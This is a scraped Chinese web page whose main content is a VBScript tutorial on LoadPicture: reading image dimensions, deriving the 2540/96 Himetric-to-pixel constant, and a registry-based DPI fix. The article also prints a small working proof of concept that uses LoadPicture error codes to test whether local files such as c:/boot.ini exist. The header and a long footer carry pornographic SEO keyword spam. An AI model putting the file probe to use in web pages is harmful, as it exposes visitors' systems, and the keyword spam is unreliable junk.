国产激情自拍_国产9色视频_丁香花在线电影小说观看 _久久久久国产精品嫩草影院

首頁 > 編程 > VBScript > 正文

vbscript LoadPicture函數使用方法與漏洞利用

2020-07-26 11:54:49
字體:
來源:轉載
供稿:網友

復制代碼 代碼如下:

<title>LoadPicture函數</title>
<form name="frm">
選擇圖片<input type="file" name="pic" onChange="GetPicInfor()" >
</form>
<script language="vbscript">

Sub GetPicInfor()
dim objpic,iWidth,iHeight
dim pictype,picpath
picpath=document.frm.pic.value
set objpic=Loadpicture(picpath)
iWidth = round(objpic.width / 26.4583) '26.4583是像素值
iHeight = round(objpic.height / 26.4583)
select case objpic.type
case 0
pictype = "None"
case 1
pictype = "Bitmap"
case 2
pictype = "Metafile"
case 3
pictype = "Icon"
case 4
pictype = "Win32-enhanced metafile"
end select
document.write "你選擇了圖片"&picpath
document.write "<li>長度:"&iHeight&"</li>"
document.write "<li>寬度:"&iwidth&"</li>"
document.write "<li>類型:"&pictype&"</li>"
End Sub
</script>


不過這個函數有個漏洞,可以探測電腦上存在的文件名。2004年的漏洞,微軟現在也沒補,示例:

復制代碼 代碼如下:

<form onsubmit="doIt(this);return false">
<input name="filename" value="c:/boot.ini" size="80" type="text"><input type="submit">
</form>
<script language="vbscript">
Sub loadIt(filename)
LoadPicture(filename)
End Sub
</script>
<script language="javascript">
function doIt(form) {
try {
loadIt(form.filename.value);
} catch(e) {
result = e.number;
}
if (result != -2146827856) {
alert('file exists');
} else {
alert('file does not exist');
}
}
</script>


這段代碼中有一個“魔法數字(Magic Number)”26.4583,曾經有位昵稱是“亂碼”的朋友問過我這個26.4583是怎么來的,當時我也不知道。

前段時間逆向分析了一下vbscript.dll,才發現了其中的奧秘:
復制代碼 代碼如下:

26.4583 = 2540 / 96

那你一定要問,這個2540和96又是怎么來的?

要弄清楚這個問題,首先要知道VBS的LoadPicture函數返回的到底是什么,VBS文檔是這么描述LoadPicture函數的:

Returns a picture object. Available only on 32-bit platforms.

只說返回圖片對象,卻沒說該圖片對象有什么屬性和方法。文檔語焉不詳,只好動用OllyDbg了:



LoadPicture函數內部調用了OleLoadPicture函數,查文檔可知返回的是IPictureDisp接口。不過后來我發現了更簡單的方法,那就是查VB的函數聲明(誰讓它們是一家人呢),在VB的對象瀏覽器中查找LoadPicture函數:

Function LoadPicture([FileName], [Size], [ColorDepth], [X], [Y]) As IPictureDisp雖然VBS的LoadPicture函數比VB的簡單,但是返回值應該是一樣的。

好了,知道返回的是IPictureDisp接口,文檔說它支持下面的屬性:

PropertyTypeAccessDescription
HandleOLE_HANDLE (int) RThe Windows GDI handle of the picture
hPalOLE_HANDLE (int) RWThe Windows handle of the palette used by the picture.
TypeshortRThe type of picture (see PICTYPE).
WidthOLE_XSIZE_HIMETRIC (long) RThe width of the picture.
HeightOLE_YSIZE_HIMETRIC (long) RThe height of the picture.

我們只關心Width和Height,它們分別表示圖片的寬和高,但是它們的單位不是像素(Pixel),而是Himetric,我們要做的是把Himetric換算成Pixel。

首先把Himetric換算成英寸(Inch),1 Himetric = 0.01 mm,1 Inch = 2.54 cm,所以1 Inch = 2540 Himetric。

然后從Inch換算成Pixel,1 Inch等于多少Pixel呢?這是由系統的DPI(Dot Per Inch)設置決定的,默認值是96。

現在知道2540和96是怎么來的了吧?不過上面的代碼存在兩個問題:第一,使用了2540/96的近似值,可能會有誤差;第二,使用了DPI的默認值96,而DPI的值是可以在控制面板中修改的。

VBS中LoadPicture函數的正確用法是:

復制代碼 代碼如下:

Option Explicit

'By Demon
Dim p
Set p = LoadPicture("D:/test.jpg")
WScript.Echo "Width: " & Himetric2Pixel(p.Width)
WScript.Echo "Height: " & Himetric2Pixel(p.Height)

Function Himetric2Pixel(n)
'1 Inch = 2540 Himetric
Const key = "HKEY_CURRENT_USER/Control Panel/Desktop/WindowMetrics/AppliedDPI"
Dim WshShell, dpi
Set WshShell = WScript.CreateObject("Wscript.Shell")
dpi = WshShell.RegRead(key)
Himetric2Pixel = Round(n * dpi / 2540)
End Function


Windows 7下通過測試,其他系統中獲取DPI的方法可能會不同,請自行修改。

上面修正的內容來自: http://demon.tw/programming/vbs-loadpicture.html 

發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
国产激情自拍_国产9色视频_丁香花在线电影小说观看 _久久久久国产精品嫩草影院
日韩黄色成人| 精品视频麻豆入口| 96久久久久久| 国产激情自拍| 亚洲字幕成人中文在线观看| 亚洲日本久久久午夜精品| www狠狠操| 国产嫩草在线视频| 九色视频网站| 国产精品ⅴa有声小说| 一区二区三区四区在线免费视频| 国产精品久久一区二区三区不卡| 精品亚洲成a人片在线观看| h网站免费在线观看| 免费不卡中文字幕视频| 最近高清中文在线字幕在线观看| 中文在线有码| 国产精品自产拍在线观看2019 | 国产对白在线| 欧美精品久久久久久久小说| 天堂在线免费av| 国产高清在线| 碰草在线视频| 国产成人亚洲综合小说区| 麻豆福利在线观看| 精品欧美日韩一区二区| 最新亚洲精品国自产在线观看| 精品欧美色视频网站在线观看| 久久精品视频观看| 在线视频中文字幕久| 国产一卡2卡3卡4卡网站免费| 国产黄网站在线观看| 国产有码在线| 日本视频二区| 992tv在线观看在线播放| 成人亚洲一区二区三区| 中文日本在线观看| 国产一级黄色片免费| 日本电影全部在线观看网站视频 | 麻豆精品视频入口| 精品免费视频一卡2卡三卡4卡不卡| www在线视频| 亚洲日本一区二区三区在线观看| 国产视频你懂的| 综合激情亚洲| 天天操天天操天天色天天要| 国产69精品久久久久孕妇国产69久久 | 成人精品福利| 黄色网页网址在线免费| 不卡av免费观看| 日本国产在线| 毛片网站在线观看| 国产资源在线看| 国产在线二区| 中文字幕亚洲免费| 国产精品视频福利一区二区 | 精品av中文字幕在线毛片| √天堂中文在线| 中文字幕网在线| 国产精彩视频在线观看免费蜜芽| 国产视频在线播放| 国产超碰在线观看| www.亚洲视频| 国产永久在线观看| 中文字幕麻豆| 精品一二三四| 免费午夜一级| 国产一级黄色电影| 国产精品久久在线| 99re热在线观看| 国产在线观看91| 国产经典三级在线| www.eeuss影院| 国产色在线 com| eeuss影院www在线播放| 国产精选一区二区三区不卡催乳| 国产高清av| 成人精品一区二区三区免费| av福利在线播放| 国产一起色一起爱| 青青草视频在线观看| 国产高清在线观看| 激情网站在线| 国产不卡一卡2卡三卡4卡5卡在线| av丝袜在线| 国产三级视频在线看| 国产中文字幕av| 精品99又大又爽又硬少妇毛片| 国产美女视频一区二区三区| gogogogo高清视频在线| 国产人成精品| 二区三区中文字幕| 日本三级视频网站| 999精品网| 国产精品久久久久久久久鸭| 国产又色又爽又黄刺激在线视频| eeuss影院www在线观看| 在线视频中文字幕久| 国产免费黄色| 国产中文字幕网| 久久精品国产亚洲a∨麻豆| av亚洲在线| av大片在线| 亚洲视频在线观看不卡| 一区二区精品区| 9999在线视频| 99在线视频观看| 伊人222成人综合网| 91精品专区| 中文字幕av高清| 色悠久久久久综合网小说| av手机免费观看| www.狠狠操| 男女羞羞视频在线观看| 欧洲亚洲精品视频| 91超碰在线免费| 国产精品视频福利一区二区| 97在线超碰| 超碰在线免费播放| 国产美女视频网站| 2019中文字幕在线电影免费| 国产日韩网站| 亚洲91av| 日本中文字幕视频在线| 国产白浆在线| 天天插天天干| 国产探花在线观看| 在线免费观看污| 久久久久久77777| 国产精品视频一区二区久久| 永久免费av网站| 青青青手机在线视频观看| 国产专区在线| 精品久久九九| 久热av在线| 国产黄在线看| 可以免费看污视频的网站| 国产精品入口免费麻豆| 亚洲一本大道| 国产鲁鲁视频在线观看特色| 精品176二区| √天堂8资源中文在线| 亚洲精品男人| √天堂中文在线| 日本不卡影院| 精品电影在线| 国产精品综合久久久久| 一区二区精品区| 国产高清av| 中文字幕免费在线视频| 九九热免费在线视频| 在线三级中文| 国产福利微拍精品一区二区| 中文字幕在线播放网址| 久久精品亚洲7777影院| 亚色视频在线观看| 在线观看国产视频| 在线免费国产| 96久久久久久| 国产日产一区二区| 中文字幕在线视频免费观看| 欧美艹逼视频| 男人操女人免费网站| 日本精品一区二区三区在线播放| 国产黄网站在线观看| 中文字幕国产在线| 天堂资源最新版在线视频观看免费网| 日本福利午夜视频在线| 四虎成人欧美精品在永久在线| 一区二区精品区| av文字幕在线观看| 日本国产在线| 黄色国产网站在线观看| 日本免费黄色| 麻豆精品免费视频入口| 交视频在线观看国产| 超碰在线97国产| 中文字幕在线播放网址| 国产一二三区精品视频| 国产亚洲精品久久久久久移动网络 | 国产成+人+亚洲+欧美+综合| 国产色在线播放| 91免费日韩| 久久精品视频观看| 尤物网站在线| 性网站在线看| 国产免费a∨片在线观看不卡| 尤物网址在线观看| 樱花草在线观看www| 久久精品视频观看| 国产精品视频一区二区久久| 在线观看av资源网| 玖玖在线视频| 国产一级网站视频在线| 国产激情网址| 91麻豆福利| 尤物网在线观看| 在线色视频观看| 天堂资源中文在线| 一区二区三区免费视频网站|